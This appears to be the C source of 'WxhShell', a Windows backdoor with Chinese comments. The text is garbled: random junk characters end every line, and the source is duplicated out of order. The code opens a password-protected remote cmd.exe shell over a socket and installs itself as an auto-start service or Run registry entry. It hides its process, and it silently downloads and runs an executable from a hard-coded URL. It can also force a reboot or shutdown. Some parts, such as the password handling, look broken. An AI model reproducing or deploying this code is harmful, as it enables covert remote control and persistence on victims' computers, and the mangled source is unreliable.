    } ]WYV  
    break; 3]GMQA{L)  
    } FR[I~unqD  
  // 关机 vi *A 5  
  case 'd': { G{]RC^Zo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jx~H4y=z  
    if(Boot(SHUTDOWN)) .|^Gde  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,dR.Sac v  
    else { z=) m6\  
    closesocket(wsh); 9I]Bt=2z  
    ExitThread(0); c8YbBdk'  
    } qFwt^w  
    break; icIn>i<m  
    } Zp3-Yo w2  
  // 获取shell >h)kbsSU0z  
  case 's': { bXvO+I<  
    CmdShell(wsh); `-.2Z 0  
    closesocket(wsh); pB\:.?.pd  
    ExitThread(0); DqT<bNR1*;  
    break; Y(bB7tR  
  } r'j88)^  
  // 退出 2H}y1bkW  
  case 'x': { \fUX_0k9,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z4Zm%  
    CloseIt(wsh); %jy$4qAf%  
    break; ^h$*7u"^y  
    } ]t~.?)Ad+2  
  // 离开 .Y{x!Q"  
  case 'q': { iuGwc086  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x<M::")5!V  
    closesocket(wsh); aqN{@|  
    WSACleanup(); \OtreYi  
    exit(1); bf0,3~G,P  
    break; o+&Om~W  
        } JR#4{P@A  
  } j :B/ FL  
  } uR :EH.K  
4qp|g'uXT  
  // 提示信息 G(.G>8pf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ba8=nGa4KY  
}  Q&xH  
  } c>K]$;}  
E&zf<Y  
  return; #jW-&a  
} I2WP/  
cJaA*sg  
// shell模块句柄 k:Y\i]#yP  
int CmdShell(SOCKET sock) O^`EuaL  
{ 0S$k;q  
STARTUPINFO si; (&Rk#iU 2  
ZeroMemory(&si,sizeof(si)); NGSts\D'}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t&?{+?p: 9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /]3[|  
PROCESS_INFORMATION ProcessInfo; QR#>Ws  
char cmdline[]="cmd"; K~vJ/9"|R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e' o2PW  
  return 0; `6)Qi*Z  
} %S;AM\o4  
F-wAQ:  
// 自身启动模式 rhbz|Uq  
int StartFromService(void) kEnGr6e  
{ wpM2{NTP  
typedef struct 6wh PW .  
{ } 7 o!  
  DWORD ExitStatus; 4F|79U #  
  DWORD PebBaseAddress; @d0f+9d  
  DWORD AffinityMask; 7/IL" D  
  DWORD BasePriority; Q}@t'  
  ULONG UniqueProcessId; xyL)'C  
  ULONG InheritedFromUniqueProcessId; B#S8j18M  
}   PROCESS_BASIC_INFORMATION; h'-4nu;*  
8C@u+tx  
PROCNTQSIP NtQueryInformationProcess; / S]RP>cQ  
W+!UVUpW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AE}cHBwZE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l;_IH|A  
7j\^h2  
  HANDLE             hProcess; HK/WO jr  
  PROCESS_BASIC_INFORMATION pbi; 1v]%FC`  
49Jnp>h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H_ $?b  
  if(NULL == hInst ) return 0; 8l5>t  
9y*] {IY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dYrgL3'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ud `- w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z;>$["t]6  
C*b[J  
  if (!NtQueryInformationProcess) return 0; *uyP+f2O  
# -luE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^qR|lA@=\  
  if(!hProcess) return 0; 4n1g4c-   
_M`ZF*o=c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :,0(aB  
~r.R|f]IQ  
  CloseHandle(hProcess); (L*GU7m;  
jXE:aWQht  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B>L7UQ6_[  
if(hProcess==NULL) return 0; gUru=p  
"5V;~}=S  
HMODULE hMod; 60!%^O =  
char procName[255]; jG[Vp b  
unsigned long cbNeeded; 6/8K2_UeoW  
(NvjX})eh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T"z<D+ pN  
Jr !BDg  
  CloseHandle(hProcess); Rsfb?${0G  
M9W zsWM  
if(strstr(procName,"services")) return 1; // 以服务启动 r&E gP  
=%7drBoD  
  return 0; // 注册表启动 nXRa_M(z8  
} |X8?B =  
k)n b<JW|r  
// 主模块 6#+&/ "*  
int StartWxhshell(LPSTR lpCmdLine) 9Y,JYc#  
{ GP%V(HhN  
  SOCKET wsl; }N[X<9^ Z  
BOOL val=TRUE; 1X2j%q I&  
  int port=0; U9:)qvMXe  
  struct sockaddr_in door; t`H1]`c?  
D!o[Sm}JO[  
  if(wscfg.ws_autoins) Install(); fIoc)T  
4$KDf;m@  
port=atoi(lpCmdLine); tS2 &S 6u  
031"D*W'i  
if(port<=0) port=wscfg.ws_port; {Ge{@1  
UN.;w3`Oc  
  WSADATA data; {1Ra |,;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (+|+ELfqW  
?@G s7'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,>-D xS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); blgA`)GI  
  door.sin_family = AF_INET; 27D*FItc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g3$'G hf  
  door.sin_port = htons(port); !{jw!bB  
x 7by|G(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z{L'7  
closesocket(wsl); 4{uQ}ea  
return 1; =-si| 1Z  
} Nbpn"*L,  
dBXiLrEbs  
  if(listen(wsl,2) == INVALID_SOCKET) { G JRl{Y  
closesocket(wsl); S1|u@d'  
return 1; `yv?PlKL  
} 2PlhnUQ7  
  Wxhshell(wsl); u8zL[] >  
  WSACleanup(); ;l*%IMB  
$ ZI ]  
return 0; |!PL"]?  
r W`7<3  
} 64?HqO 6(  
h vYRAQR:  
// 以NT服务方式启动 NuQ!huh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s>J5.Z7"'j  
{ -MTk9<qnT  
DWORD   status = 0; F$a s#.7FF  
  DWORD   specificError = 0xfffffff; X hq ss),  
H@uu;:l<7A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x2B8G;6u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;|Mfq` s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WA (x]""  
  serviceStatus.dwWin32ExitCode     = 0; 0 %~~IT}U  
  serviceStatus.dwServiceSpecificExitCode = 0; jB?SX  
  serviceStatus.dwCheckPoint       = 0; w.x&3aG  
  serviceStatus.dwWaitHint       = 0;  +|LM"  
H4y9\ -  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^N/d`IAjv  
  if (hServiceStatusHandle==0) return; r ]7: ?ir  
X9Ch(nWX  
status = GetLastError(); :PT{>r[  
  if (status!=NO_ERROR) =>;&M)+q  
{ &4-;;h\H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8 MO-QO  
    serviceStatus.dwCheckPoint       = 0; #'Y lO -C  
    serviceStatus.dwWaitHint       = 0; ?9\D(V  
    serviceStatus.dwWin32ExitCode     = status; /2? CB\  
    serviceStatus.dwServiceSpecificExitCode = specificError; [on_=N{W[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V5K/)\#  
    return; 0>od1/`  
  } kGV:=h  
MrR`jXz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B.; qvuM~  
  serviceStatus.dwCheckPoint       = 0; H'k}/<%Q  
  serviceStatus.dwWaitHint       = 0; Y$ jX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I<#X#_YP  
} $+Ze"E  
Lk !)G'42  
// 处理NT服务事件,比如:启动、停止 -V}oFxk]q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nFQuoU]ux  
{ JVIFpN"`  
switch(fdwControl) DquL r+s~  
{ X84T F~2Y  
case SERVICE_CONTROL_STOP: =cEsv&i  
  serviceStatus.dwWin32ExitCode = 0; 3mHzOs\jU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lOt7 ij(,L  
  serviceStatus.dwCheckPoint   = 0; lI?P_2AaS  
  serviceStatus.dwWaitHint     = 0; k' st^1T  
  { relt7sK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q!c=f!U?\l  
  } zGtJ@HbB  
  return; i#la'ICwJ  
case SERVICE_CONTROL_PAUSE: QCb D^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %R >n5m  
  break; 1Vu#:6%  
case SERVICE_CONTROL_CONTINUE: e`n ZiM>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >/A]C$?3  
  break; hoq2zDjD  
case SERVICE_CONTROL_INTERROGATE: c& ;@i$X(  
  break; ..JRtuM-v  
}; U823q-x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :i<*~0r<  
} zP,r,ok7  
4k225~GQ:C  
// 标准应用程序主函数 D./{f8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BEOPZ[Q|c  
{ hWy@?r.  
+cH>'OXoB  
// 获取操作系统版本 iAz0 A  
OsIsNt=GetOsVer(); fmixWL7.Zg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jfMkN  
qx ki  
  // 从命令行安装 Cx2# 0$  
  if(strpbrk(lpCmdLine,"iI")) Install(); tczJk1g}  
<iky~iE  
  // 下载执行文件 _Ay^v#a  
if(wscfg.ws_downexe) { qSNCBn '  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UQDAql  
  WinExec(wscfg.ws_filenam,SW_HIDE); MKfK9>a  
} pT|s#-}  
G=zNZ  
if(!OsIsNt) { vclc%ws  
// 如果时win9x,隐藏进程并且设置为注册表启动 |*c1S -#  
HideProc(); Tdcc<T  
StartWxhshell(lpCmdLine); gML8lu0)  
} _Q1p_sdg  
else ^4fvV\ne_~  
  if(StartFromService()) +mWf$+w  
  // 以服务方式启动 @S@VsgQ%3Z  
  StartServiceCtrlDispatcher(DispatchTable); ;}E}N:A  
else un 5r9  
  // 普通方式启动 U 3< 3T  
  StartWxhshell(lpCmdLine); RB %+|@c  
t1w]L  
return 0; +;~N; BT  
} "s0,9; }  
(vG*)a  
Dz0D ^(;V  
_8.TPB]no  
=========================================== \8xSfe  
-yf8  
"B{3q`(  
Q'n+K5&p  
23tX"e  
_z#" BN  
" 8_}t,BC  
oMEW5.VX  
#include <stdio.h> 0''p29  
#include <string.h> P\MDD@  
#include <windows.h> Q` &#u#  
#include <winsock2.h> "kP,v&n  
#include <winsvc.h> gL_1~"3KGC  
#include <urlmon.h> W/,bz",v3  
1O`V_d)  
#pragma comment (lib, "Ws2_32.lib") Po)U!5Tm  
#pragma comment (lib, "urlmon.lib") YD[HBF)~j  
5[4wN( )  
#define MAX_USER   100 // 最大客户端连接数 qHub+"2  
#define BUF_SOCK   200 // sock buffer -*k2:i`  
#define KEY_BUFF   255 // 输入 buffer &za }TH m  
v/ N[)<  
#define REBOOT     0   // 重启 K80f_ iT 5  
#define SHUTDOWN   1   // 关机 `-{l$Hn9|~  
*,z/q6  
#define DEF_PORT   5000 // 监听端口 s>/Xb2\  
D U\ytD`u  
#define REG_LEN     16   // 注册表键长度 c0zcR)=mL  
#define SVC_LEN     80   // NT服务名长度 (c[u_~ ;  
TX=894{nGh  
// 从dll定义API _p6 r5Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5.\p]>|G1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mS'Ad<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j{Px}f(=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z4i))%or  
x:Q\pZ  
// wxhshell配置信息 !\7 M7  
struct WSCFG { ~6;I"0b5  
  int ws_port;         // 监听端口 F- -g?Q^  
  char ws_passstr[REG_LEN]; // 口令 D>y5&`  
  int ws_autoins;       // 安装标记, 1=yes 0=no @/ ^< 9  
  char ws_regname[REG_LEN]; // 注册表键名 8r(a wp  
  char ws_svcname[REG_LEN]; // 服务名 \oWpyT _  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `D(V_WZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u:APGR^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 08xo_Oysq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?XY'<]o E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KdkL_GSLT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U3N d\b'0  
7<)H?;~;  
}; )xy>:2!#Y  
2 H%lN`  
// default Wxhshell configuration ,y]-z8J  
struct WSCFG wscfg={DEF_PORT, p/ (Z2N"  
    "xuhuanlingzhe", a_c(7bQ  
    1, ;D~#|CB  
    "Wxhshell", NWn*_@7;  
    "Wxhshell", QQW}.>N  
            "WxhShell Service", :6(\:  
    "Wrsky Windows CmdShell Service", )G)6D"5,+G  
    "Please Input Your Password: ", RyK~"CWT  
  1, |p/ *OFC6  
  "http://www.wrsky.com/wxhshell.exe", /p<9C?  
  "Wxhshell.exe" `o#(YEu  
    }; inU5eronuj  
8e-nzc,]  
// 消息定义模块 A8.noV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6m$X7;x}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <KX9>e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LY0f`RX*&  
char *msg_ws_ext="\n\rExit."; 9HJYrzf{%  
char *msg_ws_end="\n\rQuit."; oH w!~ c7  
char *msg_ws_boot="\n\rReboot..."; y>=YMD  
char *msg_ws_poff="\n\rShutdown..."; 7nT|yL?  
char *msg_ws_down="\n\rSave to "; `+n0a@BVB  
&j:e<{@  
char *msg_ws_err="\n\rErr!"; :O413#8  
char *msg_ws_ok="\n\rOK!"; Pp } Z"  
?TpjU*Cxy  
char ExeFile[MAX_PATH]; -7&ywgxl  
int nUser = 0; )'m;a_r`  
HANDLE handles[MAX_USER]; }@HgFM"  
int OsIsNt; ei4LE XQ16  
U^KWRqt  
SERVICE_STATUS       serviceStatus; 3*I\#Z4p1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^gcB+  
bdWdvd:  
// 函数声明 48 wt  
int Install(void); W7n^]~V  
int Uninstall(void); YA pC|R,^  
int DownloadFile(char *sURL, SOCKET wsh); T^;b98*  
int Boot(int flag); N*36rR$^  
void HideProc(void); ~T;:Tg*  
int GetOsVer(void); KD A8x W  
int Wxhshell(SOCKET wsl); M ]047W  
void TalkWithClient(void *cs); 79;uHR&S  
int CmdShell(SOCKET sock); E "=4(   
int StartFromService(void);  +#,J`fV%  
int StartWxhshell(LPSTR lpCmdLine); Z5TA4Q+Q  
Rf0so   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); = vqJ0!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b4L7]&  
!AXLoq$SY  
// 数据结构和表定义 >0@w"aKn  
SERVICE_TABLE_ENTRY DispatchTable[] = ;)h?P.]  
{ CtMqE+j^  
{wscfg.ws_svcname, NTServiceMain}, h F+aL  
{NULL, NULL} {v0r'+`  
}; ]D;*2Lw4&  
d(|?gN^  
// 自我安装 ,G0"T~  
int Install(void) [KR%8[e  
{ B{=DnB6  
  char svExeFile[MAX_PATH]; SWw!s&lP&  
  HKEY key; f5F-h0HF`[  
  strcpy(svExeFile,ExeFile); bz>\n"'  
K W&muD  
// 如果是win9x系统,修改注册表设为自启动 C5^WJx[  
if(!OsIsNt) { q>(?Z#sB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lt-3OcC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y\WQ0'y  
  RegCloseKey(key); 1Z ~C3)T=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?jz\[0)s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WD\Yx~o  
  RegCloseKey(key); >N al\  
  return 0; _yAY5TIv  
    } T/ECW  
  } HTQTDbhV^  
} FiMM-c|  
else { k}:;`ST  
gd * b0(  
// 如果是NT以上系统,安装为系统服务 lZRO"[<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3U^Vz9LW  
if (schSCManager!=0) j~Pw t9G  
{ [<,7LG<  
  SC_HANDLE schService = CreateService DX!dU'tj  
  ( Ra53M!>]  
  schSCManager, <5%*"v  
  wscfg.ws_svcname, 0V-jOc  
  wscfg.ws_svcdisp, odca?  
  SERVICE_ALL_ACCESS, jR}EBaI}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /1Gmga5  
  SERVICE_AUTO_START, #W8F_/!n|  
  SERVICE_ERROR_NORMAL, oH17!$Fly  
  svExeFile, 2p9^ =  
  NULL, e 1XKlgl  
  NULL, tXA?[ S  
  NULL, \dU.#^ryp  
  NULL, 9IXy96]]6  
  NULL 8nBYP+t,e  
  ); A-1K TD  
  if (schService!=0) z&0[F`U  
  { &Ih }"  
  CloseServiceHandle(schService); <_8b AO8\  
  CloseServiceHandle(schSCManager); )SP"V~^Wn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'y!qrmMRr  
  strcat(svExeFile,wscfg.ws_svcname); fsPsP`|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q\s+w){f%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @_"cMU!  
  RegCloseKey(key); nGWy4rY2S  
  return 0; gdD|'h  
    } oUsfO-dET^  
  } 7:F0?l*  
  CloseServiceHandle(schSCManager); EGI$=Y  
} P9m  
} a$?d_BX  
]8wm1_qV  
return 1; PeIi@0vA  
} p4IyKry,  
?i_/f}.K  
// 自我卸载 l[_antokn  
int Uninstall(void) F|6"-*[RS  
{ [xY-=-T*4  
  HKEY key; UTE6U6  
zd2_k 9  
if(!OsIsNt) { l"JM%LV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @su<_m6'  
  RegDeleteValue(key,wscfg.ws_regname); zjA#8;h~w  
  RegCloseKey(key); =D0d+b6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pjS##pgVq  
  RegDeleteValue(key,wscfg.ws_regname); n;. M5}O  
  RegCloseKey(key); Q3& ?28  
  return 0; H (K!{k  
  } %CnVK1u!  
} |qguLab(  
} I 2AQ G  
else { x1`w{5;C 2  
H0tu3Pqk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a ub$4n!C9  
if (schSCManager!=0) 1P*GIt2L  
{ 4 y}z+4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [<d ~b*/  
  if (schService!=0) LiFR7\z  
  { ea @ H  
  if(DeleteService(schService)!=0) { 7;@YR  
  CloseServiceHandle(schService); Q)4[zStR#  
  CloseServiceHandle(schSCManager); GIYdI#0RC  
  return 0; !wE% <Fh  
  } >pZ _  
  CloseServiceHandle(schService); "LDNkw'  
  } L'$\[~Ug  
  CloseServiceHandle(schSCManager); ?r(vXq\  
} &S*{a  
} |O)ZjLx  
rtJ@D2Hj^  
return 1; ]U~{?K'g@j  
} e`][zx  
Ff0V6j)ji  
// 从指定url下载文件 ([a;id  
int DownloadFile(char *sURL, SOCKET wsh) U~sC%Ri-@U  
{ q("l?'  
  HRESULT hr; Am3j:|>*  
char seps[]= "/"; rZ.=Lq  
char *token; Z%ZOAu&p  
char *file; )CoFRqz<h  
char myURL[MAX_PATH]; um]N]cCD`  
char myFILE[MAX_PATH]; nTsV>lQY,  
WxD$k3U  
strcpy(myURL,sURL); r9(c<E?,h  
  token=strtok(myURL,seps); ER-Xd9R  
  while(token!=NULL) ":T"Y;  
  { MY\mo,#  
    file=token; "Ltp]nCR  
  token=strtok(NULL,seps); &<#1G u_  
  } ,0HID:&  
jX'pUO  
GetCurrentDirectory(MAX_PATH,myFILE); :#sBNy  
strcat(myFILE, "\\"); %#4;'\'5  
strcat(myFILE, file); ;j;U9-oh  
  send(wsh,myFILE,strlen(myFILE),0);  WSeiW  
send(wsh,"...",3,0); 3Jd a:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &q4~WRnzJk  
  if(hr==S_OK) H/W&a2R^P  
return 0; .AX%6+o  
else 8KP   
return 1; S+6YD0  
0V8G9Gj  
} Q$'\_zV  
?vD<_5K; I  
// 系统电源模块 d_:tiHw$  
int Boot(int flag) *S <I!7Q  
{ >~_>.R+{  
  HANDLE hToken; /;Cx|\  
  TOKEN_PRIVILEGES tkp; N{RHbSa(  
nWYfe-zQxg  
  if(OsIsNt) { cbou1Ei   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uVZm9Sp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JKp@fQT *  
    tkp.PrivilegeCount = 1; ?JRfhJ:j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4u|6^ wu.I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >4>. Ycp  
if(flag==REBOOT) { #Sg/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FDFVhcr  
  return 0; e6jdSn  
} xXV15%&  
else { eon(C|S7eK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U!"RfRD.<  
  return 0; yYk?K<ou  
} -jTK3&5  
  } {![E)~  
  else { bDw\;bnG  
if(flag==REBOOT) { b1e)w?n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z}VCiS0  
  return 0; B%[#["Ol  
} |SJ%Myy  
else { ^CDh! )  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Bt\V1)  
  return 0; .$G^c   
} j\.pS^+  
} ^=cX L  
/xA`VyHO  
return 1; h*[sV  
} W89J]#v)k  
ocp3JR_0  
// win9x进程隐藏模块 |@>Zc5MY$  
void HideProc(void) MhFj>t   
{ \gZjq]3  
$U_1e'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H:1F=$0I9  
  if ( hKernel != NULL ) %s%e5hU  
  { h7]>b'H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5FNf)F   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p_3VFKq>0  
    FreeLibrary(hKernel); 5bK:sht  
  } Zq}Cl'f  
sD XJXJZ  
return; X.)1>zk  
} #>$w9}gFi  
| qf8y  
// 获取操作系统版本 C\[g>_J  
int GetOsVer(void) LrV4^{9(  
{ q p1rP#  
  OSVERSIONINFO winfo; LTD;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <8Q?kj  
  GetVersionEx(&winfo); !%C&hH\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *UG=dl#F#  
  return 1; ZcN%F)htm  
  else O >&,h^  
  return 0; WgV[,(  
} $J:~jY/J  
w\.z-6G  
// 客户端句柄模块 <J1$s_^`  
int Wxhshell(SOCKET wsl) vr>Rd{dm  
{ dNs<`2m  
  SOCKET wsh; KI<Vvc m  
  struct sockaddr_in client; BtWm ZaKi  
  DWORD myID; j\@|oW0  
~hA;ji|I  
  while(nUser<MAX_USER) oakm{I|k}  
{ L@5g#mSl  
  int nSize=sizeof(client); Zo(QU5m0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7\;gd4Ua1  
  if(wsh==INVALID_SOCKET) return 1; obIYC  
h@ ?BA<'S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RE:$c!E!  
if(handles[nUser]==0) Riz!HtyR  
  closesocket(wsh); &4l >_  
else ^Ul *Nm  
  nUser++; t3$+;K(  
  } .We"j_ }  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1(U\vMb  
<wt9K2,  
  return 0; W>7o ec  
} ) /<\|mR  
B,dKpz;kFg  
// 关闭 socket _9zydtw  
void CloseIt(SOCKET wsh) u%Yr&u  
{ qg@Wzs7c~  
closesocket(wsh);  TBqJ.a  
nUser--; s*pgR=dZZ  
ExitThread(0); "Q@ZS2;A  
} !tD,phca~  
{YgB?kt5  
// 客户端请求句柄 }h)[>I(  
void TalkWithClient(void *cs) =i)k@w_(x  
{ 7^:0?Q  
3~!PJI1  
  SOCKET wsh=(SOCKET)cs; R'r^v  
  char pwd[SVC_LEN]; \=/^H  
  char cmd[KEY_BUFF]; Me*]Bh  
char chr[1]; KI Ua  
int i,j; wKAc ;!  
pn~$u  
  while (nUser < MAX_USER) { \uV;UH7qe  
FPPGf!Eq  
if(wscfg.ws_passstr) { ^Ru/7pw 5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OW<5,h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G?6[K&w  
  //ZeroMemory(pwd,KEY_BUFF); f)+fdc  
      i=0; [0e}%!%M  
  while(i<SVC_LEN) { VXAgp6  
zZ=.riK  
  // 设置超时 :xT=uE.I  
  fd_set FdRead; Gv}h/zu-  
  struct timeval TimeOut; 9m fYB  
  FD_ZERO(&FdRead); e$^O_e  
  FD_SET(wsh,&FdRead); 7L:$Amb_F  
  TimeOut.tv_sec=8; ;-d :!*  
  TimeOut.tv_usec=0; M -df Gk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i'%:z]hp9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q|%(47}z  
^4yFLqrC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GZ]; U] _  
  pwd=chr[0]; daZY;_{"o  
  if(chr[0]==0xd || chr[0]==0xa) { ATU 2\Y  
  pwd=0; =kvYE,,g_  
  break; >p 7e6%  
  } RSY{IY  
  i++; cwxO| .m  
    } &?<o692  
3RP}lb  
  // 如果是非法用户,关闭 socket %G$KahxV>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jibrSz  
} ^8nK x<&5  
89'XOXl&1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )S|}de/a2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bewi.$E{  
1qb 3.  
while(1) { F3b[L^Km]  
Bk 1Q.Un  
  ZeroMemory(cmd,KEY_BUFF); BS#@ehdig  
h30~2]hH  
      // 自动支持客户端 telnet标准   ds4)Nk4%O  
  j=0; W/uaNp  
  while(j<KEY_BUFF) { -_ [Z5%B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #$Z|)i]w  
  cmd[j]=chr[0]; 94F9f^ L  
  if(chr[0]==0xa || chr[0]==0xd) { j%KLp4J/e  
  cmd[j]=0; SA|f1R2uS  
  break; 16YJQ ue  
  } Ov)rsi  
  j++; A|Yq Bl  
    } vF;%#P  
4y+] V~p  
  // 下载文件 7@m  
  if(strstr(cmd,"http://")) { M>~jLu0@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 13Ee"r  
  if(DownloadFile(cmd,wsh)) h"')D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R gEKs"e  
  else oM$EQd`7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^=wG#!#V"1  
  } rj*4ZA?  
  else { !\8j[QS!  
8+uwzBNZ:  
